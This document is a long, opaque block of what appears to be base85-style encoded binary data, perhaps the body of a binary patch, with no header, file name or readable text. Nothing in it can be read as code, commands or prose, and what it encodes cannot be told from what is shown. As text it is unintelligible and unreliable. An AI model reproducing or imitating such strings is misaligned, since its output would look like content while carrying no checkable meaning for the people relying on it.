zc6jAaU<35uoI@n4h_<{*zU$*$^+ViJ3=^P~wi(6>6}GP>QHRMmzu>cf`SLi6>xAiUrM0n8nYLPyO)wI%VwjAmvh6&2FME%*+<&40>*038gNt zg>*3121A}lmgMfDNA3u7KcJJ1a+?s>EuV6 zQBUft{v}^&DS1@C7+F%$wgA~h@oJ9yKcaQRgLw-n75cMyP?Hbv0Ex-x1D; zcvT0|@>WCrJdG#7?{z07C$kn<+nfoB*R$sXUVzYIees_peI&#M!d&7*9H+a2ctu?= zesf@59@*!|u$UTVXZ5RJra5J5_QmCvFIbT=i zZC1rD1d;xT6z!0$?sFG|1bMBVfg z-`~ZMq{wkXXkeEK<4c>~B)=Sh=^YZ1ocuS((CO39xEEY(%QsFZMk_>2PHN(B{>o(W zY*zEQRNP)&_b?dB2pEeP^|d@2yq(MK;S>OM&9?0l%gqdEzYmw1`dg@~)RN13z;%T| zeSIr2rLL|hw|!EuE0nKn1yRK`4P9y&xs@}>-qm_&>R;eS&$=%9k*gZ*%2NHJ0EtzGwxnY_$Qqe078;g(}d z9OvsqLpKiNSi9nt$o^l=3zfM9v6E=s4eIdTuOq5iv-e|gyzfxPv*%JL{exe$oDGQ- za<5E=`n-+{(=(Q7uA`rn;X&Q0qOY3S?!@JdsiI(Q5?VWUMb}&iZ<77kj;oZAsca^0 z6bbis^Hr={5y@ZAa}{YIIVVU2mj|3rD)s7TK2MHT$$g#rC;xK4cX?sduti9xf;JH& zpnhP?B>GnwkRtAqIuY5S+9jxW-xje#Iji)A9~~-7=(wE;L{= zca{I#E5oa0Jx~)$2KGearfT1sC4JXW~dK00b_q)a=2eaKd*XwwMv9(rB~f_;+i!@qlsF z*J_HA7x_{v8{v}?b<-Z!><5QI^mu7Wz;~UMtg!@g#L&!hLNyeOs#>UM#|8Kl(T5H| zf^Ilzj}4;c1)$P+*0We2PN)k?j`A}xEZhL?#;XR_(f432L`VBkdUMQg9)WW=2ofs# z!^3#=o0?k=pTbt*u3`teywd$)-OVW!AS-2Z0@@{ zG5mc68)cByK@~7jf;kSn%IYWX-|Lb9uTExWbTW&C#pe^l=Rj10i zS-BEr)%^GM-XbAWcdj>=01zy^0r>*Bm2qpj^XwAJL2VL)`!!ltOMz!8h@-xk;m*51 z5al=p7dwyIp224(5z`jE{j^cIzB}olRHS@}l0{?!QGkL+mdL5t26i<*sSZS82N0TZ z-Ln408L~+wre6-iZ#gF+Pe!)ozR~8VaZJf?Th)0W=TGU4T)QMD#eDr2GXX^+qiu}D z{`!FKmTni8*7qwgb!Z|cLt|ZM`EY?q$8`=a)& zseN=bm9MZsAeoSI@_E|?T5LhPx}xO^NCB|DVRHjeYx*|Wr?L16Ss9SE`EC%ga^PAU z2)Mndg@%ziZ(wTlhvxCAMx}BUaz}|IWREfd7rMxci}L=-YC&$UY@(=ql&n5ljbgB_ z7FQP1CBC9{Z$C^x1MUwUOw2?1+^B?D+d{P#Q32TW`!vUiN+W53<#%hBCH<&7$n^ou z=XXVJhreCYE*elg!y4uDoaRTV`B;c&i;%6nFVRN9C6_mK%^SowTkkc~hFUR|eW;%iZ3MDSR5-g33Lkey7>qT=sq8V$ zUBEB8Qxj)kcpWa>HT&2|tk7&1a736CkL?~N#)wioRCZhdf%Y1>HI{C=r|c>eLiP4Z zR|U@X(x+-hsC&;puYQ0 z)dj;q=1D(wis-hPuszCz+C0X^cha4p6Qh5et>2Llw-&q-T&Bp|E%rJDZ=<$r&f139 zrM8nv7EvOd>>Ww}Mi(X)&+J4an+U8n;LA2eS+?p(IfIX1B=)5SIEHYSA!Jg0@FadL zwZP`#Fx^<;S@yDC7<;&<>LSMC3w@_m7CTU$x6Qo`c8 zh`BP}WKcGn(tm11eS|T6Iu9Br5eni1B5%1Kt-_f-*lHjspy%yC-3kQW-AVpOl?b}_ z_EP#8hJqN|@|Bq|nsVkkZgVsEiqC($Kx#Pi%g%i$i?wwqJjh^MJ|{h9ltIfNv)2Pt z*Vjut{vp9Qvl*EIi4c$}49abOAx0n=SJ^vQ9S5Pk=+!g1-doK~`tbf3MN{BK7v`BH zkORS)s8h6z4hflvq#E`(w14rHA;S2zf@6u#GsNniB53Z}G4nvnKKv70*wKy8qo#5j zuIZ7M!*q~K$!P9jQ{K22%}%NFbQpiN5mGn@hp#VT2$51;TjNSt(8ZUGa_k`kLVBVRo-_TUh#E^`lP$~7!};G1lENZ0 zGrJ1$k^H=$#jWTvfbUSr8=N`$8|1zYrFw5ljt5c3IU2#sB%)oVP!u+~_p(r#m4>xJ zSpTd(>E2yn!a3aiW>%9`0{V9BM25Y-l&FqdexuK! zL+RCWd4_<($)a+?d>wDe17?KX!PE4+pF1oM;AM(m$+AGBYgTQj((7kZCP=C#17v~n zH+eW6EnIa;ci46(muV!sPdg_VOb9DFvF5o%h7V@^8DYY)b3O>mAl`s8t~^ZMbpOEk z?qfK;0%GY_FSBvtw-SRqd;6|I8K38qzYJi&ywMtu=OR0R9NDE5oT5Z}<_Gvsp}V-* zURiZ8uyS4d794%r$X&PRa~Yv~@ORpXTe}0nA2R{+?CJ&PKRR2G-ndAAE@L@a^Fby& zRjU3e2;A>22sTNu+5ADlNmj43v}XavGsaQo8r7=wvhqxk;TEOm8)M;YelPqS5s~>W zRR4-2nTv2nGFdYuWz(1LR)@inTu7OqjMUboEjYC7glG!q?sd3tcSZsSHkk~l0lxDKv)`hG$4}k=o-}{Aqok&g7=6!4+Had z;}_SQUK;NSubol_9zn+AmIZEGryUHcF-p-wloeK1xb#x7#dTQ{A))R7m0^oj5=3Vy zHOUdN)4H%AQK|DDt($q(`WLOmz2QOoWI3cBGzWisv@AO~QM^jLX+GyMGsl3mleSIQ zZ5nPy9dtre9O3g&)7zdkCa21K!8#gc;U1daG`&QGuo>F6U-x~pbix}fn~EqHD;56Y z>Ty!Pi{pa)X;9%w23j8Olt247?7k~gKR-~@!_9-IJdns)g{)UN!pd!xgPf7(v61W- zs$nGhOrWVV@N7y6^Q<$Wceh?wcc#b1F#rsE><@}d>AnSUcEM4xNi6$qyX-?EF1VH3 zdIQksziGIV@eBDhhG3?q>?ht%VbWPs;P~N@T|biF>cb8xJS1q`e;b5Ss9eC#D*R%> z&C6;d_)BC%<1x`mjI`-EDR-$Jy9=P6Z3?x@_*^39rMjfm#83TGHF;3%+|7}Mg=eTB zNiyD$>hI*x1kiFc_$z8CY|jd}Z8k_b2zk^{h3%&u)CG7B@w@_sT#RG>fe>iG8-W5m z0O|9Ni{C9Ka_kk}^FBPG`8i?NjiImuwcAuDV0L$G!+jTN)y|Bv;H7)MpfF@B-f^1j zueDaly@Xu3b&>ll`+*;!l(ST-<71dC1p}^n)GofjV;QA2g53_dwOjj;G8n!8;>&T7 zgI`~LXVOg#Aw4o;=%1rJOM#E4@zuye6jy@pA(Pe1Q#o>Edl9GT^P9%>q;3j(RRFs; zm4vnigvSB;pw-dX#MB;;9CRoNaNTNUGCU*R+QY}U*c3%DkjCp*&wJ+O?TMjxh9 zas+KLY{TZE=24sm_9yI$l3QJE$s0zt{X6q^r8rziUbJ{Hbe?)Vy=evo1~t z8cgi-`7`o?^f+n{hEHH_SGFcp4gr5zz2^;hM#2=Uh;7fTSK|Ein(r=Fc}Xsu@9a&` zr35EGO#_aI4Qk!%*IFN4upLphyf$gu2FD0;C2WoK&>Zs1u?FEA&OxISDl|;ktU)`Z zmR0J*+u~V7L^>BY>zD+G5B+?p%ZPory~h`)b%K;Y+cc*|-e#p2ISjI1@o{y2dIIiw z5L4{-g%Eo=Q^zhQ3TFEIt_SJS9LM3DCzgmUjr*B|A(EP|nDmM8P=^f5D+!$#fvh}N zxoi^3k$750_rB6(mA&8#7jqn9);!X5dSCf*w^_}CrMVOfiwf}w)lg_^@i1l2JVANA zDGk|Wunr50TKNtW%AT&cIIHrG4Pvmz8<7m;Wh{p>l4J{ez!ZRO&C2fK8u0zv@GdY zdhll0*f!p2(5~O+Ic~dgpy9OZhw5GBW(24yN%*0|VM?)P224ohS}L6ghx_%I0kgA6f>L={uM7!S%Tz93^!bLBlcgkY=%9^Pl;AexO-?r1R5{N9K39Bih zdn)WE3XKcmmIL@|z1jr~i+CKm7t?1oMbVBIZbh!ba}zBVB!QZnhLv+LnolYw310Cp zz47~KEvyi*YI+7`q0RZkzNU-j^aJ1bMSpK7S`r@&9wL{JNw}>>q|S>rPU|0E1IHe5 z?;D{Ja^!D%yI~5JGT~eOAt7Rj&0ja!0!+QP`n0V5f*dwqf=URzqPphqp{{@2_jSUV zmLtBfL@n&U zeOl0gicbh{XZHe%Xs#GngbVtQtPw_9;l6mdD{rj1UqqU=LUM1mvZ97U=s~Dxqum0D_P#-eQF}&P_^Gx=QH07nezy_UF3+1FU zXEZ0AYtv7COh&kyRaG}g{BV{x3xKIUE`l*4!h=+=tOnBFA2uta6?sY`I+}|}h ztR>b$lkis_frpH#M1i#r2?Q1?%i{fd)PCX?-a95TvhX%0hEqT z6J0D4d`I|iT1BR>p-b}o6rWh2t&8)4JdjS9X1UgSV?)?aQJK+u{{1^1#MYqhwhW-l zBH|=Dkh7?^ml`ep5%})SahNkw;VcOJs4??8U{Yi6UN-lej!&z(^#d&HPO0xxebJH1 zI(xfAMH7jf1Y7Ig$V2!v0{@wy2^ygh%Fq8W{Dmy8UzHc6k8GiGW6hYnMmgr#!HCXT zK8zn93k#y-IIQt;-p+GsYpO0QN!^BQs(yc;s1svcmh7*=wfj`rNylARl~c`v-9qET zM$%`Ztk2tFtj||?Qs?-j0T@qH)WbJ3rsGFV8IGpo!l@NmjV5dirvzIVO0FI}_w@%d zg-XjXKpeFL2o7!^zn>+wt4R-&#Lfi0m{69mnuzf&ww&%Xxh2L7{|&qm=6iV@5m6VG zK8zOcK94TZ3d>M2t8nF8m@%p5HtPM93UDY%$kLItXuG+QQ2D?=N|8ln1vDFYu@dN_ zKXr|~w%_qvX0);W&YiE)fT1LHb+^%HI>(#|RueeZLTB}?y#jTeYbtHdKx~|izy>a*_6|}>XQ&xS-Zn4*PZn7J)@Kg+rexF>_?s<+q0E# zM`$=WrN%=*RHQ=yANmL4yRohC$6ca@4fmiN-)R@}dtK{zXTi_=gRYJdHrM2vtJFvNX?B$<3)XmUx8#QkS z1n{OVC9i>PKd?->mGp>+!nKVDKc5NcjUwmM(r8lJDt+k0HO(PWe*l8$gQg_0LICvk z3craqaE@0a%WQc zMe1_CQQRH#C}t-GU)gaW)wJ|;p!~dUty#P{&mE@nDHM79b4~6Xfc0XvXF}6!h!W1W zU!01w0aRlS$VwJiQruJ26)#EM;CwLsq@s{+x`Zq zKANf_y=z{!tr?APd;gI9OkHATjwcqKWVXdOLU(O1wOvJJcqWJ2D{&cd46)#sum;$L z$aXeIyoyJ1uiV0i^-_Apgz=(?cTVlSNdoLNd9SG}tA&FJX0Tn1`wotk0GLKPuNF|) zLpO!})N(GF>%#u7V>sT7%E?8Tq!NG3-Nb>TxNni z-dv;Ei+so)G@gBqp07=z5+Bw9U2;fonk?M2jRbJAH|s7Tn5rPY>y$h!Iw9O_wLuW5 zRyX+HnmB}6h!wMhI6wDAnym<%rj|Yeo|iV!2isOD$-0d_75@trC<8Fx4alG(QOPxo zmc^)ZC=uAzXsN#vEJs&xsG%>4qhUm;tZ&8m7ob2o%Y;G~`$IEWCap6gzR%`E-*^psH@fK7&jjhWII51aqJol`MG)9wU*H<% zVPx2yoh|A2fc^onh6^lWmcM=MwZ_PHqU$;6+3&?Z8f8XY$35fMzlV=P@5ZNNs$`@F&0r79o&WemA&4tlWM7SHj1 zo|~Ju052abWX4t8!|XxFiCO0tDMHDougvGpVS~T7jen@<<_?ZP_i(S0c7UJ0QkAq;7+>(vuIC_Uj&6vU1 zfAgK6S92^v%(bn~y^Ib(MX@;Y1DW)Xj$&k;jfh+N7F%KMyCJw5%&B2WY{Va4+Af+5 zI0lc?`?GiL8o`GVUu}D-HSPyxLj9X49!IWn6RK6b%F!&3%XMayCK~*gP*B=?iiK36 zO->(}bWhLzeIY0klo;hmW(YeQlqXNiPP!b>E|wjLLsf!F3^^GBdWPQIE$v^`-Of@a z=q_C5s7^p0+)lYAG(PPweGpF=E5!mf>P)rw|F`NACg<_WM+=L#DNTIt&y`unkg7bqIcfkbk;su3(Du ze?=MdnyL>}e-0AEp^;5 zF}>=WLRmRoo~6gvq^L53A9W3Mr}>WKDwyZhbrI(ga1cN(LmY6LzTKG-Nw ze3CuckAkgB?r5!dn>_ut<;fYI)(HNan)RlAMpthE6Ao-T<3@Qz6mQft)6F3$IS)a+}$nqJkuUFFtRd!f)Wm z2Y1SvF#Lc66ffszxhQA#i95T0grV}2!(b?LB%f|7#NK$GrkAtt)YgGwp7{Q6I+Uw{ z8Dj2p80R~XVO>fHzbMJEfwGE;ahSPfLy~|Yk?p#PMW%d$Y;Od+9CY=*8ixp*C!hVT zEdCK?uQ8#lFUVN&(hdrfwLq!|M`|C^F%)OMwuWYzD(3Z#+sk8(`j@U^Oa;RTKHppz z3Y%HqXH*6FhfHukAw0iMNC=^+$1z-DkAv7+{{MH!IJrh7P&0${4fB!%p!vzaHf3Bd za!RiGHvy``Y}uJ5SPqMPm%%Ct={9^^-8Xe^EyR#wRM*(M*%m{%OOjD%{twhuj2uDh znzIpIqc&0kxB#hduS*)Vg;Xa{ZrlRr3<%t z$-3fnJ`*p2E>$*`fSb|tMFAQte5A&g&{f6I$gn`Id?-_AH_xRknOEV!eUHh(GjOED#e)fK?+}sXB1*9YjzYJg7l0{4bB60p(c>u3iqf4l z4yRf2Mt&oOx7mU(Y4$-l^7^V{678wENe+sx@ePRKRap z-Vmdp2BM#CDAMe(ivG}ph%2yu^b;nhY0pJ{jWWT-jEWK~b{D>N9S|Dvph&%<*+>6} zCtB_*GdMab>1}VgdpC(+V+x^u(3?XBA;d`C25wfN2XQ~P-|PV+fAWDB;i2aJE(qXPs6v(Vqd+1#vdYC z#6}X?J38d~A*ROU>$2D08PNw3dbL^t+TK~kcY{O}_&+WsNdDve@1!waE34*VmqKiq zU5D}DoN)&8p1P7oEPj~vQTr8-3Jl12LgH$sFNCa0jfepS=fp;H?pMw*(1mdZNi950 z+Yg5t*Lqp9-S#R-Xe~FR(2&YDwhUK@sWv+(V%ndVHmt-{}WjvYmG11Wo>`|mRRv+yrsh@t?N9{pim zm+{hG(QC+q5=+bUnZwJg+;&lufFDw|1^h?zLt3ZuI$!L{`0`qzwm9yGv^6T#hPQCY z<7N$BC{}O+0FyTK8cAU6bP<|797zvd&E#(xCP~7yYh^%;gbWCBjp1J37IAaNYf@b< zK9RE+xHf(dBuYC66DNz-q%O}%aAix~N(I^G3M-KidnS_FVz2W6=e=hZhhGq2b4Ld{P_#lVcWsGcn?rsX)DH%7s*THo(7FI1;lmy^LhSAvbqMpy_JO zBot`9$`@HWC--PjYl_z+0M7j(+(Zi~t<#F=Y^oC3Q083cf#aqPLR-!+3XH}0=|H6o zc8fu(CvhMxn_&NB{~{!tFS_=1lrK~i1u8b-PqccuRI*3{8w?Rbpikw+^>U&Sjk1vS zz^#%N_+m>PaEfzefJyZ&hsD3FE$ytv82bpP2lKxJc2J7<*0OK!?R$YAED&%7%@%A6 zhaOH+JJ}Yj&wRyMv5i!>uV>#NPm`R!G0&pcW06>UXw5J0ijQ6-=+;b`ukR4V?ew#P zg_3a7bENevS?owU^sBVP{+1+`qY)05?}nU7W^ZXhcsXNXvJ-aXA^X)zRKwzY319P~ zn0<~wB0E%@7FTKo$QlLsz9(%I*IZ;!O&dv5iAl%h8tczvQvR-u?D{ zuE5(3SuvqzSHMwx}Wc*a^nkr(HC!=SiTV4ukwublg{sng2|-NQUYtbUJT`iYi#ukHCH20t24#4DLqPX^~aobOlIC05(9$ztg*azX=u0S{ryG zY$v;-7;pjZsYve9hl3QSwmHk#FWO>zcM&E{%lhF@N1jIG94v8?;@Z9Q0N6>gdrU9j zGRFeZ6`LNIEO@r1%OK=$h2~d+eiP{RL}rGW#C7PWv4VrW3!c0yW|;bZQBB;s{0-NM z*^qSHO^R#^!NR?5rUPN6bY5VN2;E%tkErdg#Vb~$vBE8(iy7dxg(K5%Pgg{6dqP5j z%W+%Rm~oG$Z^WeYoqTBWyP75rT8ZgAa%kh~4;?w|$&6*LVogS|blHH^h<5K3(sCK^ zEB2Scyt}e&m3bXe4vwp#;IB799|wbC>`+Xuwztqvd@L|tS#bvV4(@o*0yd^C;JqfH z57=hwR?C?p{9ku##H8Tj%J#XMmR>N$)xYH8n#an%SQF%v`x(~&xY^O{r%u+8>tjjv z1S4DTd>u7;dF(IV%)E`t2ATwkM8Db`&o=ex8-J`UoLVs-DIl; z@1Q;J3DW<-Ex}SJnu1^lP)HL~!!LYdX_7NVy#^hH$MV_@llR!c@+?Xc4JRr(V$HPv zkqKg5C*!jcTVvOEvlgL)YHQVK${5?t|5GRZWM=e;taCfs0G-IwT%SD_0op{HPuo(Z zOHn2h^K&0fdrm~LY6Nd)`}MgAX4C8MxQqln+7k&_E9Zvms{&)JW+%UGi4GBJ1Z5ar z3oa!Zn7G<gB{dWcts-ELt}Meb`KY0etx7N@dGup zed3(<(zp%w@RCb*d_tc2qc08BU;j*|;D{y~;}f~` z&`!h^{XYy*pxK`leSGq`K-Vp#AY02lW6DGh`032T3D-3n&WIMM3bCLYz>zeqzIfd` z7SkvaYFDg$^B6Mn1C<7yryb@Ca`gt+Oi`0;TlW^B4VSn%zP{yu9r_Z_C4^P_jrC|% z4MyZG|CM9K6##QJY5ynWm~2H!PmK!IET~13Y|sfo%ZA%9NO|EwoF__JKiuAepUa^g z_wmEln`jx)^DsP%j&zEAEs@$G3+E>3p?^<`#(j3~T-AyED1}Xdw!wqiEjA{++rfuz z=nH|Q>fnH1ijAmMYgK)0An^Da*fTHAZwr)f@|(gC+T7$Fya2icHt66B7J??G?LK#c zl)Q<{5CpedKTN;hO{=men4lc+<-K+qQ`+Su*rYdte6Z0jgo4!T}Rf1 zL!s9B+{Ab2101Xn$djNtR^_?K zYRA)6o?Y;fgPF6{3w~{C0*exzQ3*W#tg)jwhQ8 zPhfpW5t|)8DvwW{F)J+C&*uX@PYFb#cG(hHcD`O*)d=A4<7l1ggD3<^!`~P@vth>=n*%V-gRSPK5}F}V3QAhWHoi;n8D1x zoV`4Q;Gx?9@Rim)>y^^*>mK#V6Xn(A<5qjmBK{Ry_%r%ouUhq7nE`ehSGIKoCa6kP zhKo&w4C}|2sB<({1j0qsC(w!_t{f;2q*w|tFtwB6te<(E&gXn=qXiluRcx5-m4Fy! z1KBoK0E5lJ8bh8t6M~0Emr(y`GE|>fXy2zSsJ0{=t{^`*>7Y{>if$^smS~SjtSDPs zA4j&}-Mht{5J(hAlHrlhrGe%@9m-FX7N8WBFcSW=`VhE8`}S*Ol^PE5B7l>RUMLG( zAAjHm#AkPI%H-+GDezTJ+)s z`2Krsb1VE?O>Hw`#wroqA_C+I#aM(eu#jZyz%i7p|E@szg<*~!SQNoIRul`H-m-97 z=KNwBeKP!$vuAmR$ zkdA=JTjT$e1PtCcY_#*h95sH&ObY$jkfi-t`CeGW4ZKl#7btGYDCy;@M$Ssih;C#w zJXvnOfDr+`v9*iH?YuE43%Z@)Sz`C$vZ5t)N)rL>eOCZTS<04_GB}>ZRU<2yE02LV zf?mR&$7yEe!FMXV6~#rlbXO4vb#uGDzv8vy^=m~%k{rz)nPl%xQP4nn{X&H zRinAlf=KY4H;z2^3S~hBmpDCjxCAQkIwY%+w*&6LQaJ@%T&TN=h#J2daRZ0Ep36p(`2meB!}!gFSSHqMNtaq}5@m0mdNK zJs(gOOqOjQ=jk}m1U@&V(+N3y3GMiqrt2~ZtppqJ3APGb!W^6=m<30m?m8jrTX5jWVY)0dg!-X7Dw_+R(Vle>D`_evkn`3-rqc|O4p;Qe+f9s@@ zA4TGx5Z7M}@zR?UZyQn%8@xT?d?Ci>-e}M)QPV^`?`Aa#2@%X1x1`p&N)TC)yL6r? z6RwzUsh&M*0yr@yxtWkYa@yv#%Rr2~C5qZsHK<%FotGrXBJpgeLY8j;3s1nCOku+37uZK{%Tt~8=??(6nVEITc1 z43v3+VI&xKD1l3&3TeH~B(uyd`{agz1*Iuk6+hb?KX+=X_t)zY`W*PH0N-h}dMnBe zD49E8l#W@TeVu=_rwqrBtmfE&L5--Gd!&qx(mnk^LT=Gq{b{7tsYAQBifTls9 z0q!>*Q*7?IU-naS+1>S%96B7jp2__yx-RP9pxT&_}f^tTT^ zU=9luY-9~EZu}UNPHD={_Z)&XLC(=|svPok*0tlUl;VW^bmj2L$VuswHl7Y?dO* zMJQ7kD9*w_<=1f@b5rXxMHgPdd9BC34hAseac{P=Q!It5c)@-{&WwnN54>1J-3J3S zTmjdYlB~MA0*qfv8I0yZESAjUSTg+%q5CH~pUD$PP8Qgzex0qhb{4J80fd`(3!Qu zSMCeg8gVIVr=V^zP_xaIkJQ`MC&+X0kc|gL?X+n@tdvu@g6KlosN8`IKc#4`>jV{n zdUqJn?LQ*Gal+s|<7ys~a6pRrsuZJy-8l5h~e?ZLvsM8$HuZpa$PJ^ z{3S$JeG}KxdOh3W+;j6FZLl?Kg1*HQD#hrI^*In5iIijXzgti4u_nay$E?uUQO+1U zI2wOW6@WUEUd$yov8&Op8$6b{v<2;0yK1#F9H0DBUbfS5MB2>JjTE|7PW64+6)ppw4UNHbNGb2z$kU)2rb8IO#yH-6?S0F8efC5B4 z06#duHj%zUp)PD=@soco7B-LmKjM|JIf%0B*Cb^k}6T7RR5Yg#9b}#av>TEC>(kg5JiK9|&Izsh@ z_?h!?Cay&OvZ7w&umBa*lPBL$xI|J3LoM>Qor1#Cvg@hjWVrNQADz4V-Jey}a}}OEV5Uky zCU+w3Cn1qHupY%0kB0{m2!0tgwxd|Nv)ly^og^igF#3pwXNeN<_cUuP;Ae9Yn%4Y)8p?wd=YRd}Q)_UPnxGnve zf1`fCw!maT-NYi0*sEDVh6y1Z42s)45DGqrpf)Ep=8vEbEg@|pv7YsYD z4gdV^>A_xg0P~Do4KRba|HFwH`#S4eiN+N+GydJCYb6MmoKZ`8yJ3b2LB5x?-;@IY z&17HUMn6B66N4^;Fh+ zUx?3~4mpLWEx!1z#MP%lqz7}e&%rZ-cs@NZ2tmMCV)mgxNPi{`1{D{c1lL%XTDgwa zEN09?^q~9&?oD!(Gr1~L?0vzS^SobZdLn)0bC`7a8P z{z9PZA?LD&E$YbjG6@Do|r5UTF1dW*@ z5KO@(BP0Xg`v#?U>|u}IRxx?OsnuRw`UYXfjZqSo!TKwz1m0F(2;>Am;HqXQWEyi7 zQiR!@=8c>E+=EIjYSgo*97xl!M2IJWqiKg4Qd?;y`6hyIrt8jBC-Pp9^R}poU$pK; z@bG`IsO}qtQ&t=2JkahwcEQ#gDE?vcN^gBF$Et@ozUegwBUqYsN1&(8@F#4`O{b z@xcet#Q;e{Z4AN>tkIQqJ#anTo^h}4GGd^%L6ub=3QH<@6{d#4fpp1PE5G?p+y-Zs zNQ{pbX$2*#wl!o6HgZ1gRGuXBJ$<@s&ch=y`9WoI2($}d)gD32oAep+JHolwxU_=Y zRGzt#8o-;k&lnA~^m(n^yuej(oN20~SQjB8BtAUnVyq}eCSYSHrt4tE7u`c`rhi@V2Jd?Y(b;u{Yz)$@yQ(fiQ zp2>VuMZM08$e1w>Qd>S_&$R6mU~nT18}SR56?Z~Ht{W4NZOzmqgRKUL4(x2fhnBuN zw(*1Hf*!Ly(w#X@S)p+C3P_1y^OE_h ztm4s@aSp>j_0e5Xk?2fWV2^!c@@=81zW~!x3UuHyoP6}P7F^cuNPsQB>_*P}XMb#U9@r8i9 z&h7&&{Zq}sl$RA`!%|%G&&K`j__Dc2Uz_=|yI$FcUpzak&J^Uj3hORbhPuBg0dr4% z#KVqPmShvGPg|cn(#44v-Gp~XjR!t*lx-8e#C2(*nvzW{0)Wt&6v_bSDe=(ekt6ng z&99azd{1@wDS5a749$&ogpW>3V??ZJ5mA5f_=}LaSyjNZixJ|ne%su-kiu}?n9!2C zwgn~E7g!UOEF~zd5ONW9YJ+`8vN;u{Z${cZ7BUFch5sUU>4mY8%jo>N?V~e|g=t%# zL9D?Oh^fF4PBA$Gv74x~EUErFe~NJ3 z#g&N$*c^;00XpiNh3zDA`d95sOv$@R{(_eCZuUxh+$2-nG9ldeLvlMRqRf~Q9H!P* z+;_%zt=YR54;#917Rnk5AH^#8>Jso?8Q}Q?hA3rCb=Sqq#=C;}&q!f-X18a+V-jpm zad5o!H5FfOb;ba43>(w4Q8aBLe(I0$YLSFL6JM7rM85a>v*YM~bcnLSqyQ{Z@xUo% z?Bg&Vdq=k{LI463ME_zthbQdX`bQAcYI|8$TTclS9i$#=!6i3NvcbM7S_ZEtJ)JS{MbZgTqbA=V#fmCi z8_c{9U=#a4%#_^Lx@lsVj{A5yl1l!4acvRok(0#lLP#W9i8IFvi!QB5m?{#}kj-D$0 zD6-^n0PUBkvBpbU}lT>>38aR80pX7mKnHBUZM@m8DAL53cXNKIV@~N6dODCv5`HLYdcE06NfTfcDfBMD9!AL!fCJ z>lW%UhTyp(QJRF?shOefRF@EYs1kc7-X7mu{$~?X=G)~T9$yjSuGd2N$3qHD zhBTS{Ug5WyUexx7FXA!~Os@NNp=5NB$;>oPF31}-5ewpwpYi~ZBp|Rc*i&WS@$e<} zH9gGgxbbQ5^I?jUm_Tc)csO@9b(kQmFzicV1;mS^a2%Czg00(&Hu9QaRV!G#ys~?! zfD)t^A^6N%fC@Ta=M%24ihyE?lKb7vaRn{@9L;p{04vW2x7rSurEPv)t&ib%Kk=sn zwb2cbc?osEd3cDB_Nyb@q@?dguFx4IgmmI$=?;78)=L2%S=R89eaF~GCHG1i5fsR2 zZtO|5Zg?YwV~{?ca0K_>5|19_x*3FX8L);9qlVrK-yko&ygl#nhXF zd#vZa#>(VIQB#M5L^_nSE#~DgMzyDG^35~njaP=p|C~PkII_5mN#rdCg2fW|9|07r z47KbwfTwqQ{RZ!c5_xf-LyZr3CW#<=L|zf6w|EXM_2n z87&QSIJPY_R9{+dtiC<0h}0PN+^g@OQ+yN~-uT+nRA)j3GDL~8?Tv`>dcST$l$GhO zVi_8zCp_U8U~cKO8|40L+^2vs&oifkG&P!9A$!^WK4KA3vA3N=f7>ecSnuy~zL|Y- zufd6;)>fBz7?rqQN-tU5@VokwcqawM*b7e0dX`DV1xI^|c|OK{WY3K>(Fhr` zaH)P6*0GvqUvaVhW7;M0?FP}cC)TOQ_4&xBzJ#G3E7~IYxO2Xc7?8s+IO~j|w+-}jPAG%Pq&tR8m@_p*+2iIB1M<-` zhD?;r@f!|p5CzlEu%;Ds@VkAmsrA9=k*?^+5v4-iXepj2ryyqS(4xd1|Iq+a02J(z zk^9tV29CW4 z1{~OudNB|Zl1a$r-YHO?HByWAS8?vTs1Pm@tz8L8WhtuNhC@Fi_be2M~B^65r2^#EmFaVAFJSe{FidnVm`^@^LA>0)tAd!TDsTuiT%d1Nh+cA(C$%8Wqb zJ!ge4pQ*}@ zrbh#y05%DdC8{B+Dyy%%6QW8pkYs;s=N5v@d^6k(t(irvlp^!VDyOO5QH@rW@JMpC%1oL4j%nnAnjV92%V&f|kWmW5jZ|MEu3n~B#G=%|=Ynq_-Y>cmDt=d*GWD_&LQjHIc&i;X+bNS+`k($47r{e(7_5}w|e-PmfH zqA(L8v6yHw1WZtW?ihQ7{_xe03CottoyLF=5OypRe1IXK%(dLu?pw8Ix=gRWuW#E$ zP>ofN8ZzViZy6n8X9^iIeCMj$t`>_oYWypn56uo|i&FiyfwC1UWhXjEcf#O)!h{_B z{_5rJR``zr)n+x3i=yNjAAgdqf}$~#JmieQ#)D*t7^=l{FXm)Ts;jjIFM<#<8}CB& z+*+%5&8cOa9XH@p(Mn=G=?`sXEhb(`B6QtghWT{%R#G8FgnHDh#09yND_c)XPztS3 z18%Z7`5xZNU_$>_X=B@#;_t1*k(4}~VEf1f=Xg&qpd?czu-bro2Ov?e zI3&1C(UuW<+0i>3;*>P((uE#>u;mNh2J*YlkTqA4$lP_c(oaY z8JQ(PpCb1u(7{G&lb~(=1e27vhlq}v75;kQZ;1Ug} z5e_#aimBSs352mwU5d%l0)Z1*d52_b+)3^I<0Jz&FQ=C##~7dk_johh%u-}8K2uVX zFX$LQB5qbQ?sd#+sU_kgGcz@1^s2j`=bVitogpb^jZp<0fOCrc+~}z!j>|&>0vDc%#$iUjP`07u~p<=?1COr^ajR z((spE#i|{ciP=FX%I_q~{rQR)qOLaUlH4k>*7fSj8 z=945)*f9F0ZB!>Wa$67hO4ZP+M3z=YN{|mxG+f&xj6wj^(dJv54&5Xi%6wqPewpkz z{aV-Sr?3Gv0i)Y;!DiA#B|UFJmy|z+uO*GY*@&vpKsRru$AB~a+ezPRJ(hK^e#@~` z)QQr3><)SV){Enn0laEYh*ExRiCSCJju46@;#ZS}VeT}NKS0i7z4x@vm<(k7h~hJ* zR}hg*E|Yi&*J+a-w92j_8u2WL#@I*Oz)x`9VY@e4mAV*Ohel}=p%wW{Zx|nIcy&*u zA8TyEh~&MWWH^$8>NhKBs-439+IVq&;R6V*?;tgw@&2UP&n30)i=_tL48WRmB=x>y zxtud?B|=E%Az|fk%8@_g2ykGv^}3X%sy+ok$zNuFpxsM-64~{r>|MzinAfS)YEBFn zOj)F|fJH^gR-h`ZiZH2?c9Hu4NO#m<8t_iJ!vloLezO>AQ|_Fmyf2w2EI-YrkM)|FQtoKaH0L(jqj_FdQAt zWML_>d55p1ch-3b9g0HvFA?$t5Gpl@{kYSRNYwV`%aGzzk`2`#_YkbE5?!5hj~4;K zP@y;0^-*TTan*sZkgKmu2j`MgNIDYc)T}XWohZ*C0YL=YegVJR2DufvMdM9HNXYf2 